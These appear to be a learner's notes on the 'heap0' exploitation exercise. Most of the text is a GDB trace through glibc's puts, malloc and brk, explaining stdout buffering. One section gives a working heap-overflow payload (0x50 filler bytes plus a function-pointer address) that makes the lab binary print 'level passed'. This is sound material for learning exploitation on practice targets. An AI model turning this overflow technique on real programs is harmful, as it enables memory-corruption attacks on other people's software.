Breakpoint 2 at 0x7ffff7afa4b0: file ../sysdeps/unix/sysv/linux/x86_64/brk.c, line 31.
-> So anything inside of libc would not directly do the syscall interrupt, it would call the internal brk function.
-> So that’s why we can easily set a breakpoint like this.
-> Long story short we can now continue and hit that breakpoint and then examine the function backtrace which tells us which functions have been called that lead to this “brk” call.
-> c
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7dd04d8 --> 0x7ffff7a7f190 (<__GI___default_morecore>: sub    rsp,0x8)
RBX: 0x0 
RCX: 0x0 
RDX: 0x20270 
RSI: 0x7ffff7dcfc40 --> 0x1 
RDI: 0x0 
RBP: 0x21000 
RSP: 0x7fffffffdca8 --> 0x7ffff7afa548 (<__GI___sbrk+40>: test   eax,eax)
RIP: 0x7ffff7afa4b0 (<__brk>: mov    ecx,0xc)
R8 : 0x2 
R9 : 0x0 
R10: 0xfffffffffffff000 
R11: 0x7ffff7dcfca0 (0x00007ffff7dcfca0)
R12: 0x7ffff7dd20b8 --> 0x0 
R13: 0x7ffff7dcfca0 (0x00007ffff7dcfca0)
R14: 0x0 
R15: 0xfff
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7afa4a3 <nice+115>: ret    
   0x7ffff7afa4a4: nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7ffff7afa4ae: xchg   ax,ax
=> 0x7ffff7afa4b0 <__brk>: mov    ecx,0xc # in brk()
   0x7ffff7afa4b5 <__brk+5>: mov    eax,ecx
   0x7ffff7afa4b7 <__brk+7>: syscall 
   0x7ffff7afa4b9 <__brk+9>: cmp    rax,0xfffffffffffff000
   0x7ffff7afa4bf <__brk+15>: mov    rdx,rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdca8 --> 0x7ffff7afa548 (<__GI___sbrk+40>: test   eax,eax)
0008| 0x7fffffffdcb0 --> 0x7ffff7dcfc40 --> 0x1 
0016| 0x7fffffffdcb8 --> 0x250 
0024| 0x7fffffffdcc0 --> 0x21000 
0032| 0x7fffffffdcc8 --> 0x7ffff7a7f199 (<__GI___default_morecore+9>: mov    edx,0x0)
0040| 0x7fffffffdcd0 --> 0x0 
0048| 0x7fffffffdcd8 --> 0x7ffff7a77dac (<sysmalloc+1036>: mov    rsi,rax)
0056| 0x7fffffffdce0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, __brk (addr=addr@entry=0x0) at ../sysdeps/unix/sysv/linux/x86_64/brk.c:31
31 ../sysdeps/unix/sysv/linux/x86_64/brk.c: 그런 파일이나 디렉터리가 없습니다.
-> bt # backtrace
#0  __brk (addr=addr@entry=0x0) at ../sysdeps/unix/sysv/linux/x86_64/brk.c:31
#1  0x00007ffff7afa548 in __GI___sbrk (increment=0x21000) at sbrk.c:41
#2  0x00007ffff7a7f199 in __GI___default_morecore (increment=<optimized out>) at morecore.c:47
#3  0x00007ffff7a77dac in sysmalloc (nb=nb@entry=0x250, av=av@entry=0x7ffff7dcfc40 <main_arena>) at malloc.c:2489
#4  0x00007ffff7a78ff0 in _int_malloc (av=av@entry=0x7ffff7dcfc40 <main_arena>, bytes=bytes@entry=0x240) at malloc.c:4125
#5  0x00007ffff7a7a4b5 in tcache_init () at malloc.c:2987
#6  0x00007ffff7a7abbb in tcache_init () at malloc.c:2983
#7  __GI___libc_malloc (bytes=0x400) at malloc.c:3042
#8  malloc_hook_ini (sz=0x400, caller=<optimized out>) at hooks.c:32
#9  0x00007ffff7a6218c in __GI__IO_file_doallocate (fp=0x7ffff7dd0760 <_IO_2_1_stdout_>) at filedoalloc.c:101
#10 0x00007ffff7a72379 in __GI__IO_doallocbuf (fp=fp@entry=0x7ffff7dd0760 <_IO_2_1_stdout_>) at genops.c:365
#11 0x00007ffff7a71498 in _IO_new_file_overflow (f=0x7ffff7dd0760 <_IO_2_1_stdout_>, ch=0xffffffff) at fileops.c:759
#12 0x00007ffff7a6f9ed in _IO_new_file_xsputn (f=0x7ffff7dd0760 <_IO_2_1_stdout_>, data=<optimized out>, n=0x5)
    at fileops.c:1266
#13 0x00007ffff7a64a8f in _IO_puts (str=0x5555555546d4 "TEST\n") at ioputs.c:40
#14 0x000055555555464a in main ()
#15 0x00007ffff7a05b97 in __libc_start_main (main=0x55555555463a <main>, argc=0x1, argv=0x7fffffffe0c8, 
    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe0b8)
    at ../csu/libc-start.c:310
#16 0x000055555555455a in _start ()
: I clean that up a bit.
#0 __brk at brk.c
#1 in __GI___sbrk at sbrk.c
#2 __GI___default_morecore at morecore.c
#3 in sysmalloc at malloc.c
#4 in _int_malloc at malloc.c
#5 in __GI___libc_malloc at malloc.c
#6 malloc_hook_ini at hooks.c
#7 in __GI__IO_file_doallocate at filedoalloc.c
#8 in __GI__IO_doallocbuf at genops.c
#9 in _IO_new_file_overflow at fileops.c
#10 in _IO_new_file_xsputn at fileops.c
#11 in _IO_puts at ioputs.c
#12 in main ()
-> And as you can see it starts with “IO_puts”.
-> You can also look at the libc code for that stuff, I just pulled up some mirror of libc on github, and you can read the code there.
-> https://code.woboq.org/userspace/glibc/libio/ioputs.c.html (”_IO_puts” code Reference)
#include "libioP.h"
#include <string.h>
#include <limits.h>
int
_IO_puts (const char *str) # _IO_puts() vs puts()
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);
  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len
      && _IO_putc_unlocked ('\n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);
  _IO_release_lock (stdout);
  return result;
}
weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)
-> The reason why the function is not called “puts”, but “_IO_puts”, eventhough we only use puts when we call it, has to do with a lot of C macros in libc.
-> I find it really difficult to read that code.
-> For example we know that the next function has the symbol name “_IO_new_file_xsputn”, but that doesn’t show up in the C code.
-> But there is this similarely called “_IO_sputn”, which when you look that up leads to a macro that says that it’s actually “_IO_Xsputn”.
-> Which itself is another macro that is “JUMP2” with __xsputn as the first argument, and “JUMP2” is obviously another macro.
-> https://code.woboq.org/userspace/glibc/libio/libioP.h.html (”_IO_sputn” code Reference)
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
-> https://code.woboq.org/userspace/glibc/libio/libioP.h.html (”_IO_XSPUTN” code Reference)
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
-> https://code.woboq.org/userspace/glibc/libio/libioP.h.html (”JUMP2” code Reference)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
-> And it just keeps going like that.
-> Feel free to do that on your own.
-> But if we trust our trace we can see that at some point it calls “doallocbuffer”.
-> https://code.woboq.org/userspace/glibc/libio/fileops.c.html (”_IO_doallocbuf” code Reference)
/* Allocate a buffer if needed. */ # malloc(1024)
      if (f->_IO_write_base == NULL) # stdout buffer
        {
          _IO_doallocbuf (f);
          _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
        }
-> And there is also a comment saying: “Allocate a buffer if needed”.
-> So this 1024 byte malloc has to do with the standard output buffer.
-> A “printf” doesn’t immediatly result in a “syscall” write, but libc implements a lot of stuff like this in order to achieve higher performances by buffering output instead of waiting for files, or writing a few bigger chunks instead of a lot of small pieces.

: I would consider this a solved mystery.
-> Just a little excursion into the inner workings of programs.
-> I hope you liked that.

: Exploit Python Code
-> python -c ‘print “A”*0x50+”\xf6\x05\x40”’ | hexdump -C
00000050 f6 05 40 0a
-> “0a” is “\n” (= Error)
-> Why? “print” function

-> python -c ‘import sys; sys.stdout.write(”A”*0x50+”\xf6\x05\x40”)’ | hexdump -C
00000050 f6 05 40
-> Ok

: ./heap0 “`python -c ‘import sys; sys.stdout.write(”A”*0x50+”\xf6\x05\x40”)`”
data is at 0x2064010, fp is at 0x2064060
level passed
-> Success

: “data is at 0x2064010, fp is at 0x2064060”, ASCII Analysis
-> Use the “Valgrind” Tool
-> apt-get install valgrind
-> valgrind —trace-malloc=yes ./heap0 AAAA
-> And Use the “strace” Tool
-> strace ./heap0 AAAA
-> You can check it. “malloc()” is “brk syscall” (= no malloc())
-> Why? no malloc(), Because malloc() include libc() function
-> So Use the “ltrace” Tool
-> ltrace ./heap0 AAAA

: Experiment with the third existing malloc()
-> test_puts.c 
void main(){
puts(”TEST\n”);
}
-> gdb ./test_puts
-> break *brk (brk = syscall)
(Tips. “syscall” is an assembly interrupt command that represents a parameter.)
————————————————————————
(-> mov ecx,0xc(= brk)
(-> mov eax, ecx)
(-> syscall)
———————————————————————-
(-> There is a “backtrace(=bt)” that tells you which function leading to this “brk” call was called.)